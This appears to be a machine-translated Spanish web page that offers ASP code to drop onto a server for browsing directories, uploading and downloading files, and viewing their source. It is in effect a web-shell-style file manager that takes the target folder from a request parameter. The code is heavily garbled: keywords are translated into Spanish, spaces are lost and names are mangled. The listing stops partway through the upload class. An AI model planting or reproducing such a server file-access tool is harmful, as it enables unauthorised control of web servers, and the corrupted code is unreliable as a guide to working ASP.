Se puede colocar en el servidor para navegar, cargar y descargar archivos en el servidor, y descargar el código fuente del archivo.
Simplemente coloque todos los siguientes códigos en un archivo, y el sufijo del archivo debe ser ASP.
La copia del código es la siguiente:
<%
thedir = request ("thedir")
ifthedir = "" entonces
carpeta = server.mappath (".") & "/"
demás
carpeta = servidor.mappath (thedir) & "/"
endif
FoldInfo = TRIM (request.queryString ("FoldInfo"))
iffoldinfo = "" entonces
Foldinfo = Foleterini
endif
clasesclsup
Dimform, archivo
Dimallowext_
Dimnoallowext_
Privateupfilestream
Privateiserr_
PrivateRMessage_
PrivateIsgetData_
PublicPropertygetversion
Versión = "v1.0.0"
Endpropertía
PublicPropertygetiserr
iserr = iserr_
Endpropertía
PublicPropertygeterrMessage
Errmessage = errmessage_
Endpropertía
PublicPropertyGetAllowext
PIlmisText = PeaText_
Endpropertía
PublicPropertyletLoWext (valor)
DesactExt_ = lcase (valor)
Endpropertía
PublicPropertygetNoallowext
NoAllowext = NoAllowext_
Endpropertía
PublicPropertyletnoAllowext (valor)
NoAllowext_ = lcase (valor)
Endpropertía
Privatesubclass_initialize
iserr_ = 0
NoAllowext = ""
NoAllowext = lcase (noLlowext)
PElText = ""
Designext = lcase (pIShext)
isgetData_ = falso
Endsub
Privatesubclass_merminate
OneerrorResumEnext
Form.removeall
SetForm = nada
File.removealll
Setfile = nada
oupfilestream.close
SateupFilErtream = nada
Endsub
PublicsubgetData (MaxSize)
OneerrorResumEnext
ifisgetdata_ = falsethen
Dimgetupdata1, sspace, bcrlf, sinfo, iinfostart, iinfoend, tstream, istart, ofileinfo
DimSformValue, sfilename
Dimifindstart, ifindend
DimiformStart, iformend, sformname
Ifrequest.totalbytes <1
iserr_ = 1
Errmessage_ = ""
Salida
Endif
Ifmaxsize> 0then
Ifrequest.totalbytes> maxsizethen
iserr_ = 2
Errmessage_ = ""
Salida
Endif
Endif
Setform = server.createObject ("scripting.dictionary")
Form.Comparemode = 1
SetFile = server.createObject ("scripting.dictionary")
File.comparemode = 1
Settstream = server.createObject ("ADODB.Stream")
SateupFilErsream = server.createObject ("ADODB.Stream")
oUpFilEnstream.Type = 1
oUpFilErtream.Mode = 3
oUpFilErteam.open
oUpFilEnstream.Writerequest.BinaryRead (request.totalbytes)
oUpFilEnstream.Position = 0
getUpData1 = oUpFilErtream.Read
iformend = oUpFilErtream.size
BCRLF = CHRB (13) y CHRB (10)
